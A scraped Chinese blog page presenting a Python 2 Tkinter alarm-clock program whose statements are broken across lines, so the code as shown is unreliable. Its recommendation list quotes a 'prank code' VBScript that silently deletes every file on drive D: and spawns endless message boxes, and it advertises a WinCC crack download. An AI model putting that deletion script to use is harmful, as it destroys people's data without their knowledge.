一个时钟程序'

vbs计时器,vbs倒数计时器 vbs计时器 功能:输入一段时间,到时间后提醒,中间不会影响工作,以秒为单位,可以输入算式。 立即下载
# -*- coding: cp936 -*-
'''一个时钟程序'''
def createAlarm(master):
    
''' 创建时间选择组件,包括小时、分钟、秒
    系统默认的时间设置为当前的事件
'''
    
import time
    now 
= time.localtime(time.time())
    lfAlarm 
= LabelFrame(text = 'Add you alarm')
    master.vHour 
= StringVar()
    master.vHour.set(now[
3])
    Label(lfAlarm,text 
= 'Hour:').grid(row = 0,column = 0)
    master.omHour 
= apply(OptionMenu,(lfAlarm,master.vHour) + tuple(range(0,24)))
    master.omHour.grid(row 
= 0,column = 1)
    
    master.vMinute 
= StringVar()
    master.vMinute.set(now[
4])
    Label(lfAlarm,text 
= 'Minute:').grid(row = 0,column = 2)
    master.omMinute 
= apply(OptionMenu,(lfAlarm,master.vMinute) + tuple(range(0,60)))
    master.omMinute.grid(row 
= 0,column = 3)

    master.vSecond 
= StringVar()
    master.vSecond.set(now[
5])
    Label(lfAlarm,text 
= 'Second:').grid(row = 0,column = 4)
    master.omSecond 
= apply(OptionMenu,(lfAlarm,master.vSecond) + tuple(range(0,60)))
    master.omSecond.grid(row 
= 0,column = 5)

    lfAlarm.grid(row 
= 1,column =0,columnspan = 6)
def addAlarm(master):
    
'''将当前的设置添加为一个提醒
    设置最后一个为激活态
    选中最后一个
'''
    master.lbAlarm.insert(END,master.vHour.get() 
+ ':' + master.vMinute.get() + ':' + master.vSecond.get())
    master.lbAlarm.selection_clear(0,END)
    master.lbAlarm.selection_set(END)
    master.lbAlarm.activate(END)
def deleteAlarm(master):
    
'''删除一个提醒'''
    master.lbAlarm.delete(ACTIVE)
    
if master.lbAlarm.size() > 0:
        master.lbAlarm.selection_set(ACTIVE)
def modifyAlarm(master):
    
'''修改提醒,
    删除原来的提醒,添加一个新的提醒,索引使用原来
'''
    t 
= master.vHour.get() + ':' + master.vMinute.get() + ':' + master.vSecond.get()
    n 
= master.lbAlarm.curselection()
    master.lbAlarm.delete(n)
    master.lbAlarm.insert(n,t)
    master.lbAlarm.selection_set(n)
    
def createAlarmList(master):
    
'''创建提醒列表,目前所有可用的提醒均显示在这里'''
    master.lbAlarm 
= Listbox(master)
    master.lbAlarm.grid(row 
= 3,column = 0,
                 columnspan 
= 4,rowspan = 3,
                 stick 
= S + N + E + W)
def createOperation(master):
    
'''创建操作列表,对提醒列表中的提醒进行添加、修改或删除'''
    Button(master,text 
= 'Add alarm',
           command 
= lambda arg = master:addAlarm(arg)
           ).grid(
               row 
= 3,column = 4,
               columnspan 
= 2,
               stick 
= S + N + E + W)
    Button(master,text 
= 'Modify alarm',
           command 
= lambda arg = master:modifyAlarm(arg)
           ).grid(
               row 
= 4,column = 4,
               columnspan 
= 2,
               stick 
= S + N + E + W)
    Button(master,text 
= 'Delete alarm',
           command 
= lambda arg = master:deleteAlarm(arg)
           ).grid(row 
= 5,column = 4,
                  columnspan 
= 2,
                  stick 
= S + N + E + W)
def showCurrentTime(master):
    
'''显示当前时间'''
    lbCurrentTime 
= Label(master,text = 'Current Time:')
    lbCurrentTime.grid(row 
= 0,column = 0,
                       columnspan 
= 2,
                       stick 
= W)
    master.vCurrentTime 
= StringVar()
    master.etCurrentTime 
= Entry(master,textvariable = master.vCurrentTime,state = 'readonly')
    master.etCurrentTime.grid(row 
= 0,column = 2,
                       columnspan 
= 4,
                       stick 
= S + N + E + W)
def updateTime(master):
    
'''时钟回调函数,用于更新当前时间;
    判断是否满足提醒条件
'''
    
import time
    now 
= time.localtime(time.time())
    t 
= '%d:%d:%d' % (now[3],now[4],now[5])
    master.vCurrentTime.set(t)
    
for item in master.lbAlarm.get(0,END):
        
if str(item) == t:
            
# 如果当前时间与提醒列表中的一致,打印
            print 'you have a alarm',item
    root.after(
100,updateTime,master)
    
from Tkinter import *
root 
= Tk()
showCurrentTime(root)
createAlarm(root)
createAlarmList(root)
createOperation(root)
# 将检测周期设置为100ms
root.after(100,updateTime,root)
root.mainloop()

 
VBS做的倒计时程序【源码】原创 可以弹出一个输入框,用来计算倒计时时间,支持多种时间格式容错 立即下载

相关推荐

vbs 闹钟程序

vbs 闹钟源码

整人代码大集合/不要乱使用!

整人代码大集合/不要乱使用! 一、删除D:\所有文件 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true 二、不断弹出窗口 while(1) msgbox "哈哈 正在找你!!" loop 三、不断按下alt+f4 (开什么都关闭……) dim WSHshell set WSHshell = wscrip

Gardeniall的博客 9493

用vb制作的桌面时钟

这是用vb 6。0写的桌面时钟,时钟是镶嵌在桌面上的

VBS计时器

rem msgbox now 'now is the system para msgbox "Timer",,"CreatedByXuTao" dim limit limit = int(inputbox("Set your time in minutes!",,Setting)) dim a,b,c '保证只提醒一次 a=0 b=0 c=0 dim cur cur = 0 m = ho...

EdwinXu 3092

UE4逆向实战:如何快速定位UWorld和GName的5种实用技巧(含版本差异分析)

本文详细介绍了UE4逆向工程中快速定位UWorld和GName的5种实用技巧,包括特征码定位法、动态行为分析法、静态符号分析法等,并针对不同版本差异提供了适配方案。特别强调了UWorld作为游戏世界核心容器和GName作为名称管理系统的重要性,帮助开发者高效进行游戏逆向分析。

star的博客 894

1.30 Cubemx_STM32H743 SD_Card纳入文件管理系统

Cubemx_STM32H743 SD_Card纳入文件管理系统1、简介2、CubeMX配置 1、简介 和前面文章原理其实一样的。 1.29 Cubemx_STM32F429\H743 nandflash、spifalsh纳入文件管理系统 现在一并将SD卡、NandFlash、SPIFlash一并作为文件管理。 下面直接介绍SDcard,其他参考前面文章。 2、CubeMX配置 ...

oDuanYanGuHong的博客 1079

VBS倒计时器

一个实现VBS倒计时的代码  以下内容为程序代码:        Dim oTime : oTime = 5        Function STime             document.all("oInput").value = "00:00:" & oTime             If oTime>0 Then                oTime = oTime - 1  

阿鑫的家 4103

Stata森林图进阶:个性化定制与高级技巧

本文详细介绍了Stata森林图的进阶技巧,包括个性化定制与高级应用。通过meta分析工具如metan命令,用户可以优化字体、颜色、坐标轴等视觉元素,提升森林图的专业性和可读性。文章还提供了黑白印刷设置、高分辨率导出等实用技巧,帮助科研人员制作符合学术出版要求的森林图。

ios99的博客 254

超级稳定的脚本闹钟(连续一年每天都响)

我们公司服务器上设置了一个小音响,以前有管理员用了酷狗音乐设置闹钟。(有时候突然小苹果真的很闹心) 问题当然不是小苹果,而是服务器电脑每次需要登陆后并且手动打开酷狗音乐,才会有闹钟响应。有时候呢一周没人去碰服务器,所以也没登陆过,远程登陆后打开,闹钟的声音是不会响的。所以需要写一个自动的每天播放的闹钟,并且不管用户登陆与否,只要电脑开机,就每天中午一点准时叫大家起床。 罗列一下需求: 1.每天中午1点准时起床。 2.不要太嘈杂的音乐。 3.开机自动启动,不管是否登录。 于是乎上网搜索了一个VBS脚本 dim

jemi_A的博客 2126

国产麒麟V10系统命令大全,100个实用命令助你玩转系统!

国产麒麟V10系统命令大全,100个实用命令助你玩转系统!

网络技术联盟站 1906

【博文汇总】I2C总线学习

将这一周学习I2C总线的文章汇总一下。 基础知识学习 触发器的建立时间和保持时间 如何学习总线技术 TTL电平和CMOS电平 深入理解 关于I2C和SPI总线协议 I2C总线深入浅出 I2C总线信号时序总结 对I2C总线协议的一些理解 对I2C总线的时钟同步和总线仲裁的深入理解 I2C总线学习终结,开始SPI总线的学习 深入理解IIC总线时序

ce123的技术博客 6213

用java做一个时钟_用JAVA做一个时钟程序

import java.awt.Color;import java.awt.Graphics;import java.awt.event.WindowAdapter;import java.awt.event.WindowEvent;import java.util.Calendar;import java.util.GregorianCalendar;import javax.swing.JFr...

weixin_39964869的博客 597

Windows下超详细安装Anaconda3以及jupyter notebook

1.下载Anaconda安装包 Anaconda官网网站:https://www.anaconda.com/products/individual下载安装包速度比较慢,国内小伙伴不建议尝试。 我们可以使用清华大学开源软件镜像站:清华大学开源软件镜像站:https://mirrors.tuna.tsinghua.edu.cn/anaconda/archive/,请选择适合自己系统自行下载。 下载完成后如下图: 1.安装Anaconda安装包 1.打开安装包,点击Next 2.点击I Agre

m0_37957160的博客 3801

Python写的一个小的计时时钟程序

# Author:Marvin Mao # 时钟.py import time # 时钟程序 class Clock(object): def __init__(self, h=0, m=0, s=0): """ 设置初始化时分秒 :param h: 时 :param m: 分 ...

weixin_43046974的博客 1146

SAP-ABAP:新手入门篇——从0到1写出你的第一个ABAP Hello World程序并完成调试运行

本文是ABAP开发入门指南,详细介绍如何创建并运行第一个"Hello World"程序。主要内容包括:通过SE38事务码进入ABAP编辑器;创建以Z/Y开头的程序并保存为本地对象;编写简单的WRITE输出语句;完成语法检查、激活和执行流程;以及初步体验调试功能。文章特别强调ABAP开发的规范要求,如程序命名规则、激活与保存的区别等,并提供了详细的步骤说明和常见问题提示,帮助零基础开发者快速上手ABAP编程。

baidu_35680696的博客 479

推理引擎终极对决:TensorRT vs ONNX Runtime,YOLOv8速度差30%的核心原因与实操指南

若你使用NVIDIA GPU,且追求极致速度和低延迟,TensorRT是唯一选择,尤其是边缘设备和实时场景;若你需要跨硬件部署、快速验证原型,或预算有限(无需NVIDIA GPU),ONNX Runtime是性价比之王;对于YOLOv8这类检测模型,TensorRT的FP16/INT8量化是“免费的速度提升”,建议优先采用。最后提醒:推理引擎的优化是“细节决定成败”——同样的引擎,不同的预处理方式、显存配置、批大小,都会导致10%-20%的性能差异。

专注于Python爬虫开发,分享爬虫技巧、项目实战与反爬经验,使用Scrapy、BeautifulSoup等工具,解决数据抓取难题。 1026

c语言一个时钟程序,用c语言怎么实现时钟程序?怎么编程

该楼层疑似违规已被系统折叠隐藏此楼查看此楼#include#include#include#include#includevoidmain(){intgd=DETECT,gm;intx=320,y=240,r=200,i,h,m,s,thetamin,thetasec;structtimet;charn[12][3]={"3","2","1","12","11","10","9",...

weixin_33377571的博客 359

jre9下载 jdk9

(Java SE Runtime Environment 9.0) 9.0u175 官方最新版 【x86|x64】

SDK 一个时钟小程序

  经过网络上很多资料的参考,用SDK写出了一个时钟小程序。 还有很多细节的地方很时不理解。为什么要那样?找同学搞了一本。好好研究一下SDK 。时钟程序还有很多细节的地方不是很理解,及一些API。很多地方都是根据网络上的资料比猫画虎的。时钟程序代码如下:#include math.h>#include windows.h>#include "resource.h"LRESULT C

Thorwein的专栏 1184

怀旧版电脑GBC模拟器

再现原版GBC掌机的界面,电脑运行连游戏界面都一样大小,很怀旧,很真实,(英文版)强烈推荐,很小的文件,很难才找到的。

WINCC7.3破解文件

WINCC7.3硬件够破解文件,有需要的下载!WINCC7.3硬件够破解文件,有需要的下载!

用JAVA做一个时钟程序

 import java.awt.Color;import java.awt.Graphics;import java.awt.event.WindowAdapter;import java.awt.event.WindowEvent;import java.util.Calendar;import java.util.GregorianCalendar;import javax.swin

BLACK的专栏 9691

复分析 阿尔福斯(Ahlfors) 第三版答案 英文

答案分为十章,有部分习题没有答案,全英文复分析阿尔福斯(Ahlfors) 第三版答案

用QT实现一个时钟小程序

要实现一个时钟小程序,我们首先想到需要以下的几个东西:1. 时针2.时针刻度3.分针4.分针刻度5.秒针要实现这个可以继承自QWidget,并在其中的paintEvent(QPaintEvent *event)Q_DECL_OVERLOAD;重载函数中来实现具体代码如下:[cpp] view plain copy print?#ifndef ANALOGCLOCK_H  #define ANALO...

HY18_18的博客 1799

编写程序,实现电子时钟自动走动的效果并提供一个按钮控制电子时钟是否停止走动。

题目: 编写程序,实现电子时钟自动走动的效果并提供一个按钮控制电子时钟是否停止走动。 代码解释: chance_str(n)函数:对获取的时间格式化,即对不足两位数的一位数补零。 time()函数:获取时间,新建Date对象返回当日的日期和时间。其中setTimeout一秒刷新一次时间。 chance()函数:控制按钮 <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>

加辣椒了吗?的博客 1万+

Java 显示时钟:编写程序显示一个时钟

Java 显示时钟:编写程序显示一个时钟

lu-feng-long的专栏 4900

java做的一个时钟的小程序

import java.applet.*;import java.awt.*;import java.util.Calendar;public class Clock extends Applet implements Runnable{ // private int xi,yi;  //private int r;  Calendar t;  Thread t1;  private int s,

WEB爱好者 3782

有秒计时的数字时钟(在时钟程序的基础上修改,给时钟程序加上一个表示秒的Display)

有秒计时的数字时钟 题目内容: 这一周的编程题是需要你在课程所给的时钟程序的基础上修改而成。但是我们并不直接给你时钟程序的代码,请根据视频自己输入时钟程序的Display和Clock类的代码,然后来做这个题目。 我们需要给时钟程序加上一个表示秒的Display,然后为Clock增加以下public的成员函数: public Clock(int hour, int minute, int second); 用hour, minute和second初始化时间。 public void tick(); “嘀嗒”

qq_46217226的博客 1401

python项目时钟程序_python基于Kivy写一个图形桌面时钟程序

Kivy 是一个开源的 Python 第三方库,可以用来快速开发应用程序。它有如下三个特点:跨平台Kivy 编写的程序可在 Linux,Windows,OS X,Android,iOS 和 Raspberry Pi 上运行。商业友好Kivy 基于 MIT 许可证进行开源,可以进行免费的商业使用。GPU 加速Kivy 的图像引擎基于 Open ES 2 构建,性能出众。除此之外 Kivy 也存在一些...

weixin_39927288的博客 404

一个经典的JAVA APPLET时钟程序(一)

转眼间一年又要过了,自己又老了一岁,郁闷啊。趁着还有几分钟才新年,赶快再发几篇文章,给过去的一年添点东西。该程序是从网上发现的,是一个简单的时钟显示程序。代码特色:时钟代码提供了各种接口,可以在HTML文件中设置,变化出多姿多彩的时钟模型,参数说明见代码内info数组时钟的绘制采用双缓冲图形处理机制,即先在缓冲区内绘制图形,再把图形显示到网页上可以有效的防止闪烁。另外时钟的不断绘制是通过一个线程

Zero'Coffee 2879
上一篇: 文件信息查看器
下一篇: 在目录中查找指定的字符串
jcodeer
博客等级 码龄22年 272粉丝 43原创
评论 2
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值